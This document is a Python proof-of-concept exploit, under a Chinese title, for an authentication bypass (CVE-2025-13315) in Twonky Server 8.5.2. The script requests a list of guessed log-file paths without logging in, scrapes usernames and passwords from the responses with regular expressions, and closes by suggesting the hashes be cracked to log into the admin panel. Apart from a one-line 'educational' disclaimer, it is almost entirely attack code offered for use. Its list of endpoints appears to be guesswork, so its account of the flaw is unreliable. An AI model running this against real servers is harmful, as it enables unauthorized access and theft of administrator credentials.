CVE-2025-13315 Twonky Server 认证绕过导致管理员凭据泄露

#!/usr/bin/env python3 """ CVE-2025-13315 PoC - Twonky Server Authentication Bypass This PoC demonstrates the authentication bypass vulnerability in Twonky Server 8.5.2 that allows unauthorized access to log files containing admin credentials. Note: This code is for educational and authorized testing purposes only. """ import requests import sys import re def exploit_twonky_auth_bypass(target_url): """ Exploit the authentication bypass vulnerability to leak admin credentials """ print(f"[*] Targeting: {target_url}") print("[*] Attempting to bypass authentication...") # Bypass authentication by accessing log endpoint directly # Common log file paths that may contain credentials log_paths = [ "/rpc/get_log", "/log.txt", "/logs/log.txt", "/media/browse?path=/logs", "/config/log", "/api/log", "/sys/log.txt" ] headers = { "User-Agent": "TwonkyServer/8.5.2", "Accept": "*/*" } for log_path in log_paths: try: url = f"{target_url}{log_path}" print(f"[*] Trying: {log_path}") response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: content = response.text # Search for username and password patterns in response username_pattern = r'(?:username|user|login|admin)\s*[=:]\s*(\S+)' password_pattern = r'(?:password|passwd|pwd)\s*[=:]\s*(\S+)' usernames = re.findall(username_pattern, content, re.IGNORECASE) passwords = re.findall(password_pattern, content, re.IGNORECASE) if usernames or passwords: print(f"[+] SUCCESS! Found credentials in {log_path}") if usernames: print(f"[+] Username(s): {', '.join(usernames)}") if passwords: print(f"[+] Password hash(es): {', '.join(passwords)}") return True, content else: print(f"[*] Response received but no credentials found") print(f"[*] Response preview: {content[:500]}...") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {log_path}: {e}") continue print("[-] Exploitation failed - no accessible log files found") return False, None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13315-poc.py <target_url>") print("Example: python cve-2025-13315-poc.py http://192.168.1.100:9000") sys.exit(1) target = sys.argv[1].rstrip('/') success, data = exploit_twonky_auth_bypass(target) if success: print("\n[!] Vulnerability confirmed - credentials exposed") print("[!] Next steps: Crack password hash and login to admin panel")